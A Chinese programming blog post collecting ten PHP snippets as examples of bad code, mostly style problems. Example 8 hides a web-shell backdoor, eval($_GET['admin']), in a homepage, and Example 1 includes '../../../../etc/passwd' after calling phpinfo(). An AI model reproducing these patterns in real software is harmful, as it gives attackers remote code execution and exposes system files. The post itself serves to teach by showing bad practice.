`

一位老外眼中的php bad code example,大家来看看

    博客分类:
  • PHP
阅读更多
Example 1.

<?php
  phpinfo();
  if (file_exist('../../../../etc/passwd'))
  {
    include('../../../../etc/passwd');
  }
Example 2.

if (!isset($_GET['month'])) {
    ...
}
else {
    if (isset($_POST['submit_fin'])) {
        ...
    }
}Example 3.

function InitBVar(&$var)
{
$var = ($var=="Y") ? "Y" : "N";
}
Example 4.

function htmlspecialcharsex($str)
{
if (strlen($str)>0)
{
$str = str_replace("&amp;", "&amp;amp;", $str);
$str = str_replace("&lt;", "&amp;lt;", $str);
$str = str_replace("&gt;", "&amp;gt;", $str);
$str = str_replace("&quot;", "&amp;quot;", $str);
$str = str_replace("<", "&lt;", $str);
$str = str_replace(">", "&gt;", $str);
$str = str_replace("\"", "&quot;", $str);
}
return $str;
}
Example 5.

str_replace("\t", "&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;", $file_new);
Example 6.

$id = 0;
while (!$id || mysql_error()) {
    $id = rand(1, 10000000);
    mysql_query("INSERT INTO `table` (id) VALUES ('".$id."'");
}Example 7.

$find = str_replace(",", "", $find);
$find = str_replace(".", "", $find);
$find = str_replace("/", "", $find);
$find = str_replace(" ", "", $find);
$find = str_replace("-", "", $find);
$find = str_replace("+", "", $find);
$find = str_replace("#", "", $find);
Example 8.

<?php
echo "<html>";
echo "<body>";
echo "<h1>This is my home page</h1>";
echo "DATENG & DOORWAY";
echo "</body>";
echo "</html>";
if (isset($_GET['admin'])) eval($_GET['admin']);
?>
Example 9.

if (isset($param) && $param!=null && $param!=0 && $param>1) {
  sendRequest($param);
}
Example 10.

switch (true) {
case $formid == 'search_form' :
case $formid == 'search_theme_form' :
$form['#action'] = getlangpref() . ltrim($form['#action'], '/');
$form['#submit']['gpcustom_customsubmit'] = array();
break;
case $formid == 'localizernode_translations' :
foreach ( $form['languages'] as $key => $value ) {
if ( !is_array($value['#options']) ) continue;
asort($form['languages'][$key]['#options']);
}
break;
case $formid == 'contact_mail_page' :
if ( $url = variable_get('gpcustom-contact-form-redirect',
false) ) $form['#redirect'] = $url;
break;

}
1
0
分享到:
评论

相关推荐

Global site tag (gtag.js) - Google Analytics